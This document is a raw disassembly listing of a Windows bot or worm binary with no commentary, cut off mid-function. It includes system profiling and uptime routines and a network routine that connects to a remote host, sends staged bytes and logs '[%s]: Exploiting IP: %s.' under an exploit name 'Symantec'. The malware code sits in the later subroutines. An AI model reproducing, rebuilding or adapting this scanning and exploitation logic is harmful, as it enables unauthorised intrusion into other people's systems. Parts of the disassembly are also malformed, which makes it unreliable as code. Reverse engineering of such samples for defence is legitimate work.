lea eax, [ebp+var_26C]
push offset dword_43A990
push eax
call sub_41C266
push 0
lea eax, [ebp+var_26C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_26C]
push eax
call sub_415D38
add esp, 30h
pop edi
pop esi
pop ebx
leave
retn
sub_41ABFB endp
; =============== S U B R O U T I N E =======================================
sub_41ADD8 proc near ; CODE XREF: sub_401ACD+257Bp
; sub_401ACD+29CDp ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
push edi
call near ptr 26D0CBDh
nop
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, 15180h
xor edx, edx
mov esi, ebx
mov edi, 0E10h
mov ebp, edi
push 3Ch
mov ecx, eax
sub ecx, [esp+14h+arg_0]
mov eax, ecx
div esi
mov esi, edx
xor edx, edx
mov eax, esi
div ebp
pop ebp
mov eax, edx
xor edx, edx
div ebp
xor edx, edx
push eax
mov eax, esi
div edi
xor edx, edx
mov esi, offset dword_4DBC90
push eax
mov eax, ecx
div ebx
push eax
push offset aDdDhDm ; "%dd %dh %dm"
push 32h
push esi
call sub_41C360
add esp, 18h
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41ADD8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AE41 proc near ; CODE XREF: sub_4172C1+24p
var_94 = dword ptr -94h
var_90 = dword ptr -90h
var_8C = dword ptr -8Ch
var_84 = dword ptr -84h
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp+var_94]
push esi
push eax
xor esi, esi
mov [ebp+var_94], 94h
call near ptr 27105EAh
nop
test eax, eax
jz short loc_41AED4
cmp [ebp+var_90], 4
jnz short loc_41AEAA
cmp [ebp+var_8C], esi
jnz short loc_41AE92
cmp [ebp+var_84], 1
jnz short loc_41AE85
push 1
pop esi
loc_41AE85: ; CODE XREF: sub_41AE41+3Fj
cmp [ebp+var_84], 2
jnz short loc_41AED4
push 1
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE92: ; CODE XREF: sub_41AE41+36j
cmp [ebp+var_8C], 0Ah
jnz short loc_41AE9F
loc_41AE9B: ; CODE XREF: sub_41AE41+78j
push 2
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AE9F: ; CODE XREF: sub_41AE41+58j
cmp [ebp+var_8C], 5Ah
jnz short loc_41AED4
jmp short loc_41AEC4
; ---------------------------------------------------------------------------
loc_41AEAA: ; CODE XREF: sub_41AE41+2Ej
cmp [ebp+var_90], 5
jnz short loc_41AED4
cmp [ebp+var_8C], esi
jz short loc_41AE9B
cmp [ebp+var_8C], 1
jnz short loc_41AEC8
loc_41AEC4: ; CODE XREF: sub_41AE41+67j
push 3
jmp short loc_41AED3
; ---------------------------------------------------------------------------
loc_41AEC8: ; CODE XREF: sub_41AE41+81j
cmp [ebp+var_8C], 2
jnz short loc_41AED4
push 7
loc_41AED3: ; CODE XREF: sub_41AE41+4Fj
; sub_41AE41+5Cj ...
pop esi
loc_41AED4: ; CODE XREF: sub_41AE41+25j
; sub_41AE41+4Bj ...
mov eax, esi
pop esi
leave
retn
sub_41AE41 endp
; =============== S U B R O U T I N E =======================================
sub_41AED9 proc near ; CODE XREF: sub_41AF8F+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_41AEE1: ; CODE XREF: sub_41AED9+2Fj
; sub_41AED9+35j
rdtsc
push 3E8h
mov edi, edx
mov ebx, eax
call near ptr 26C04BFh
nop
rdtsc
sub eax, ebx
push 0
sbb edx, edi
push esi
push edx
push eax
call sub_41DCB0
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_41AEE1
jb short loc_41AF10
cmp ebx, esi
ja short loc_41AEE1
loc_41AF10: ; CODE XREF: sub_41AED9+31j
push 0
push 64h
push edi
push ebx
call sub_41DD20
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_41AF83
jb short loc_41AF2F
cmp esi, 50h
jnb short loc_41AF34
loc_41AF2F: ; CODE XREF: sub_41AED9+4Fj
push 4Bh
xor edx, edx
pop eax
loc_41AF34: ; CODE XREF: sub_41AED9+54j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF3F
cmp esi, 47h
jnb short loc_41AF44
loc_41AF3F: ; CODE XREF: sub_41AED9+5Fj
push 42h
xor edx, edx
pop eax
loc_41AF44: ; CODE XREF: sub_41AED9+64j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF4F
cmp esi, 37h
jnb short loc_41AF54
loc_41AF4F: ; CODE XREF: sub_41AED9+6Fj
push 32h
xor edx, edx
pop eax
loc_41AF54: ; CODE XREF: sub_41AED9+74j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF5F
cmp esi, 26h
jnb short loc_41AF64
loc_41AF5F: ; CODE XREF: sub_41AED9+7Fj
push 21h
xor edx, edx
pop eax
loc_41AF64: ; CODE XREF: sub_41AED9+84j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF6F
cmp esi, 1Eh
jnb short loc_41AF74
loc_41AF6F: ; CODE XREF: sub_41AED9+8Fj
push 19h
xor edx, edx
pop eax
loc_41AF74: ; CODE XREF: sub_41AED9+94j
test ecx, ecx
ja short loc_41AF83
jb short loc_41AF7F
cmp esi, 0Ah
jnb short loc_41AF83
loc_41AF7F: ; CODE XREF: sub_41AED9+9Fj
xor eax, eax
xor edx, edx
loc_41AF83: ; CODE XREF: sub_41AED9+4Dj
; sub_41AED9+5Dj ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_41AED9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41AF8F proc near ; CODE XREF: sub_401ACD+2728p
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7E8h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset byte_43DB88
mov [ebp+var_CC], 94h
call near ptr 27105EAh
nop
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_41B016
cmp [ebp+var_C4], ebx
jnz short loc_41AFF2
cmp [ebp+var_BC], 1
jnz short loc_41AFDC
mov [ebp+var_4], offset dword_431620
loc_41AFDC: ; CODE XREF: sub_41AF8F+44j
cmp [ebp+var_BC], 2
jnz loc_41B091
mov [ebp+var_4], offset dword_43161C
jmp short loc_41B062
; ---------------------------------------------------------------------------
loc_41AFF2: ; CODE XREF: sub_41AF8F+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_41B004
mov [ebp+var_4], offset dword_431618
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B004: ; CODE XREF: sub_41AF8F+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41B052
mov [ebp+var_4], offset dword_431614
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B016: ; CODE XREF: sub_41AF8F+33j
cmp [ebp+var_C8], 5
jnz short loc_41B052
cmp [ebp+var_C4], ebx
jnz short loc_41B030
mov [ebp+var_4], offset dword_431610
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B030: ; CODE XREF: sub_41AF8F+96j
cmp [ebp+var_C4], 1
jnz short loc_41B042
mov [ebp+var_4], offset dword_43160C
jmp short loc_41B059
; ---------------------------------------------------------------------------
loc_41B042: ; CODE XREF: sub_41AF8F+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003 ; "2003"
jz short loc_41B059
loc_41B052: ; CODE XREF: sub_41AF8F+7Cj
; sub_41AF8F+8Ej
mov [ebp+var_4], offset dword_431604
loc_41B059: ; CODE XREF: sub_41AF8F+73j
; sub_41AF8F+85j ...
cmp [ebp+var_BC], 2
jnz short loc_41B091
loc_41B062: ; CODE XREF: sub_41AF8F+61j
cmp [ebp+var_B8], bl
jz short loc_41B091
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset dword_436BB4
push eax
call sub_41C266
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_41B091: ; CODE XREF: sub_41AF8F+54j
; sub_41AF8F+D1j ...
mov ax, word_4383AC
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4CB8B4
mov [ebp+var_C], 100h
cmp eax, ebx
jz short loc_41B0CA
lea ecx, [ebp+var_C]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax
loc_41B0CA: ; CODE XREF: sub_41AF8F+12Cj
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
call dword_4CBA14
mov [ebp+var_8], eax
push 2
lea eax, [ebp+var_8]
push 4
push eax
call dword_4CB98C
cmp eax, ebx
jz short loc_41B0F3
push dword ptr [eax]
jmp short loc_41B0F8
; ---------------------------------------------------------------------------
loc_41B0F3: ; CODE XREF: sub_41AF8F+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_41B0F8: ; CODE XREF: sub_41AF8F+162j
lea eax, [ebp+var_3E4]
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
nop
call near ptr 26C0000h
lea eax, [ebp+var_114]
push 46h
push eax
push offset dword_43AC78
push ebx
mov esi, 409h
push ebx
push esi
nop
call near ptr 2780000h
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs ; "HH:mm:ss"
push ebx
push ebx
push esi
nop
call near ptr 2770000h
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
nop
call near ptr 2890000h
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_41C3B1
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_7E8]
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_41ADD8
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
call sub_41AED9
push edx
push eax
push offset dword_43AB9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_41AF8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B243 proc near ; CODE XREF: sub_401ACD+2756p
; sub_401ACD+71F5p
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp dword_4CBABC, 0
jnz short loc_41B2AF
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4CB898
test eax, eax
jnz short loc_41B298
lea eax, [ebp+var_8C]
push offset dword_43ACF0
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B298: ; CODE XREF: sub_41B243+40j
test [ebp+var_C], 1
jz short loc_41B2A5
push offset dword_43ACE8
jmp short loc_41B2AA
; ---------------------------------------------------------------------------
loc_41B2A5: ; CODE XREF: sub_41B243+59j
push offset off_43ACE4
loc_41B2AA: ; CODE XREF: sub_41B243+60j
lea eax, [ebp+var_8]
jmp short loc_41B2C7
; ---------------------------------------------------------------------------
loc_41B2AF: ; CODE XREF: sub_41B243+28j
mov esi, offset off_43ACE0
lea eax, [ebp+var_8]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_8C]
pop ecx
push esi
loc_41B2C7: ; CODE XREF: sub_41B243+6Aj
push eax
call sub_41C266
pop ecx
pop ecx
push [ebp+arg_4]
push [ebp+arg_8]
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_43AC9C
push 200h
push [ebp+arg_0]
call sub_41C360
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_41B243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B302 proc near ; DATA XREF: sub_401ACD+757Fo
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
push 1
mov edi, 80h
pop esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_43ADD0
call sub_41BF70
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_41BF70
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_41BF70
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_41BF70
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_41BF70
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4CB8D0
test eax, eax
jz loc_41B49C
cmp [ebp+var_34], ebx
jbe short loc_41B3D9
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3D9: ; CODE XREF: sub_41B302+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_41B3F7
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B3F7: ; CODE XREF: sub_41B302+DEj
cmp [ebp+var_20], ebx
jbe short loc_41B411
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B411: ; CODE XREF: sub_41B302+F8j
cmp [ebp+var_18], ebx
jbe short loc_41B42B
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_41BFD0
add esp, 0Ch
loc_41B42B: ; CODE XREF: sub_41B302+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4CB984
call dword_4CB9A8
mov esi, eax
cmp esi, ebx
jz short loc_41B4B4
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4CB99C
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_41B4BB
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4CB948
test eax, eax
jz short loc_41B495
push offset dword_43ADB4
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B495: ; CODE XREF: sub_41B302+18Aj
push offset unk_43AD78
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B49C: ; CODE XREF: sub_41B302+B7j
lea eax, [ebp+var_55C]
push offset dword_43AD5C
push eax
call sub_41C266
mov esi, [ebp+var_C]
pop ecx
pop ecx
jmp short loc_41B4CE
; ---------------------------------------------------------------------------
loc_41B4B4: ; CODE XREF: sub_41B302+153j
push offset unk_43AD30
jmp short loc_41B4C0
; ---------------------------------------------------------------------------
loc_41B4BB: ; CODE XREF: sub_41B302+17Bj
push offset unk_43AD00
loc_41B4C0: ; CODE XREF: sub_41B302+191j
; sub_41B302+198j ...
lea eax, [ebp+var_55C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41B4CE: ; CODE XREF: sub_41B302+1B0j
cmp [ebp+var_1D4], ebx
jnz short loc_41B4F9
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
call sub_409869
add esp, 14h
loc_41B4F9: ; CODE XREF: sub_41B302+1D2j
lea eax, [ebp+var_55C]
push eax
call sub_415D38
pop ecx
push esi
call dword_4CBA08
push [ebp+var_4]
call dword_4CBA08
push [ebp+var_1D8]
call sub_40B6D6
pop ecx
push ebx
nop
call near ptr 2720000h
pop edi
pop esi
pop ebx
sub_41B302 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41B52C proc near ; CODE XREF: sub_401ACD+4F59p
arg_0 = dword ptr 4
push esi
push 100h
mov esi, offset byte_4DBCCC
push 0
push esi
call sub_41BF70
add esp, 0Ch
push [esp+4+arg_0]
push offset aS_1 ; "%s"
push 0FFh
push esi
call sub_41C360
add esp, 10h
pop esi
retn
sub_41B52C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B55B proc near ; CODE XREF: ___:0041B843p
; ___:0041B860p ...
var_14 = byte ptr -14h
var_C = byte ptr -0Ch
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
mov esi, offset dword_4DBDD4
lea edi, [ebp+var_C]
mov ax, word_43ADD4
movsd
movsb
mov esi, offset dword_4DBDCC
lea edi, [ebp+var_14]
mov [ebp+var_2], ax
mov ax, word_4346DC
movsd
mov [ebp+var_6], ax
mov ax, word_4CB88C
movsw
mov [ebp+var_4], ax
mov eax, [ebp+arg_8]
xor esi, esi
cmp eax, esi
jnz loc_41B627
mov edi, [ebp+arg_0]
push ebx
mov ebx, [ebp+arg_4]
mov [ebp+arg_8], esi
loc_41B5AD: ; CODE XREF: sub_41B55B+C7j
mov eax, [ebp+arg_8]
sub eax, esi
jz short loc_41B5CD
dec eax
jnz short loc_41B61B
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B5E1
; ---------------------------------------------------------------------------
loc_41B5CD: ; CODE XREF: sub_41B55B+57j
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B5E1: ; CODE XREF: sub_41B55B+70j
push eax
push edi
call dword_4CBA24
push ebx
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B5FD
push 4
lea eax, [ebp+var_C]
jmp short loc_41B602
; ---------------------------------------------------------------------------
loc_41B5FD: ; CODE XREF: sub_41B55B+99j
push 5
lea eax, [ebp+var_14]
loc_41B602: ; CODE XREF: sub_41B55B+A0j
push eax
push edi
call dword_4CBA24
push esi
push ebx
call sub_41B9C0
pop ecx
push eax
push ebx
push edi
call dword_4CBA24
loc_41B61B: ; CODE XREF: sub_41B55B+5Aj
inc [ebp+arg_8]
cmp [ebp+arg_8], 1
jle short loc_41B5AD
pop ebx
jmp short loc_41B69D
; ---------------------------------------------------------------------------
loc_41B627: ; CODE XREF: sub_41B55B+42j
dec eax
jz short loc_41B646
dec eax
jnz short loc_41B69D
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_4]
jmp short loc_41B65D
; ---------------------------------------------------------------------------
loc_41B646: ; CODE XREF: sub_41B55B+CDj
mov edi, [ebp+arg_0]
push esi
lea eax, [ebp+var_2]
push 1
push eax
push edi
call dword_4CBA24
push esi
push 1
lea eax, [ebp+var_6]
loc_41B65D: ; CODE XREF: sub_41B55B+E9j
push eax
push edi
call dword_4CBA24
push [ebp+arg_4]
call sub_41B9C0
pop ecx
cmp eax, 2
push esi
jnz short loc_41B67B
push 4
lea eax, [ebp+var_C]
jmp short loc_41B680
; ---------------------------------------------------------------------------
loc_41B67B: ; CODE XREF: sub_41B55B+117j
push 5
lea eax, [ebp+var_14]
loc_41B680: ; CODE XREF: sub_41B55B+11Ej
push eax
push edi
call dword_4CBA24
push esi
push [ebp+arg_4]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_4]
push edi
call dword_4CBA24
loc_41B69D: ; CODE XREF: sub_41B55B+CAj
; sub_41B55B+D0j
pop edi
pop esi
leave
retn
sub_41B55B endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 288h
push ebx
push esi
push edi
mov esi, offset dword_43ADEC
lea edi, [ebp-38h]
mov ax, word_4346DC
movsd
movsd
movsd
movsb
mov esi, offset dword_43ADE8
lea edi, [ebp-1Ch]
movsw
movsb
mov esi, offset dword_4DBDD4
lea edi, [ebp-28h]
movsd
movsb
mov esi, offset dword_43ADE4
lea edi, [ebp-10h]
movsw
movsb
mov esi, offset dword_43ADE0
lea edi, [ebp-14h]
movsw
movsb
mov esi, offset dword_43ADDC
lea edi, [ebp-0Ch]
movsw
movsb
xor esi, esi
mov [ebp-6], ax
mov [ebp-16h], ax
mov ax, word ptr aR ; "r"
push esi
push 1
push 2
mov [ebp-18h], ax
xor edi, edi
call dword_4CBA54
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41B724
push eax
call dword_4CBA6C
loc_41B724: ; CODE XREF: ___:0041B71Bj
lea eax, [ebp+0Ch]
mov word ptr [ebp-48h], 2
push eax
call dword_4CBA14
push dword ptr [ebp+0A8h]
mov [ebp-44h], eax
call dword_4CB9D4
mov [ebp-46h], ax
lea eax, [ebp-48h]
push 10h
push eax
push ebx
call dword_4CB97C
test eax, eax
jnz loc_41B820
loc_41B75C: ; CODE XREF: ___:0041B7CEj
; ___:0041B805j
push 40h
lea eax, [ebp-88h]
push esi
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp-88h]
push esi
push 40h
push eax
push ebx
call dword_4CB9EC
cmp eax, esi
jle loc_41B82E
cmp eax, 0FFFFFFFFh
jz loc_41B82E
mov eax, edi
sub eax, esi
jz short loc_41B7D0
dec eax
jz short loc_41B79E
dec eax
jz short loc_41B80A
jmp short loc_41B800
; ---------------------------------------------------------------------------
loc_41B79E: ; CODE XREF: ___:0041B797j
lea eax, [ebp-1Ch]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-6]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-6]
push eax
push ebx
call dword_4CBA24
push 2
pop edi
jmp short loc_41B75C
; ---------------------------------------------------------------------------
loc_41B7D0: ; CODE XREF: ___:0041B794j
lea eax, [ebp-38h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_41B820
lea eax, [ebp-38h]
push esi
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp-38h]
push eax
push ebx
call dword_4CBA24
push 1
pop edi
loc_41B800: ; CODE XREF: ___:0041B79Cj
cmp edi, 3
jz short loc_41B82E
jmp loc_41B75C
; ---------------------------------------------------------------------------
loc_41B80A: ; CODE XREF: ___:0041B79Aj
lea eax, [ebp-28h]
push eax
lea eax, [ebp-88h]
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_41B82E
loc_41B820: ; CODE XREF: ___:0041B756j
; ___:0041B7B2j ...
push ebx
call dword_4CBA6C
xor eax, eax
jmp loc_41B9B7
; ---------------------------------------------------------------------------
loc_41B82E: ; CODE XREF: ___:0041B781j
; ___:0041B78Aj ...
push esi
lea eax, [ebp-16h]
push 1
push eax
push ebx
call dword_4CBA24
lea eax, [ebp-10h]
push 1
push eax
push ebx
call sub_41B55B
mov esi, dword_427080
add esp, 0Ch
mov edi, 3E8h
push edi
call esi
lea eax, [ebp-18h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
lea eax, [ebp-10h]
push 2
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
and dword ptr [ebp-4], 0
mov edi, offset byte_4DBCCC
push edi
call sub_41B9C0
test eax, eax
pop ecx
jbe short loc_41B8CE
loc_41B891: ; CODE XREF: ___:0041B8CCj
mov eax, [ebp-4]
movsx eax, byte_4DBCCC[eax]
push eax
push offset dword_43ADD8
lea eax, [ebp-20h]
push 3
push eax
call sub_41C360
lea eax, [ebp-20h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 1Ch
push 7Dh
call esi
inc dword ptr [ebp-4]
push edi
call sub_41B9C0
cmp [ebp-4], eax
pop ecx
jb short loc_41B891
loc_41B8CE: ; CODE XREF: ___:0041B88Fj
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 0FA0h
call esi
push 2
pop edi
loc_41B8E7: ; CODE XREF: ___:0041B8FEj
lea eax, [ebp-14h]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 12Ch
call esi
dec edi
jnz short loc_41B8E7
mov edi, 7D0h
push edi
call esi
lea eax, [ebp-0Ch]
push 0
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push edi
call esi
xor edi, edi
lea eax, [ebp-14h]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
push 190h
call esi
mov dword ptr [ebp-4], 2
loc_41B938: ; CODE XREF: ___:0041B950j
push 258h
call esi
lea eax, [ebp-0Ch]
push edi
push eax
push ebx
call sub_41B55B
add esp, 0Ch
dec dword ptr [ebp-4]
jnz short loc_41B938
push ebx
call dword_4CBA6C
lea eax, [ebp+0Ch]
push eax
mov eax, [ebp+0B0h]
shl eax, 6
add eax, offset aSymantec ; "Symantec"
push eax
push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s."
lea eax, [ebp-288h]
push 1FFh
push eax
call sub_41C360
push edi
lea eax, [ebp-288h]
push dword ptr [ebp+0B8h]
push eax
lea eax, [ebp+1Ch]
push eax
push dword ptr [ebp+8]
call sub_409869
mov eax, [ebp+0B0h]
add esp, 28h
shl eax, 6
inc dword_431800[eax]
push 1
lea eax, dword_431800[eax]
pop eax
loc_41B9B7: ; CODE XREF: ___:0041B829j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41B9C0 proc near ; CODE XREF: sub_401000+34p
; ___:0040136Ep ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_41B9E0
loc_41B9CC: ; CODE XREF: sub_41B9C0+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_41BA13
test ecx, 3
jnz short loc_41B9CC
add eax, 0
loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj
; sub_41B9C0+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_41B9E0
mov eax, [ecx-4]
test al, al
jz short loc_41BA31
test ah, ah
jz short loc_41BA27
test eax, 0FF0000h
jz short loc_41BA1D
test eax, 0FF000000h
jz short loc_41BA13
jmp short loc_41B9E0
; ---------------------------------------------------------------------------
loc_41BA13: ; CODE XREF: sub_41B9C0+11j
; sub_41B9C0+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_41BA1D: ; CODE XREF: sub_41B9C0+48j
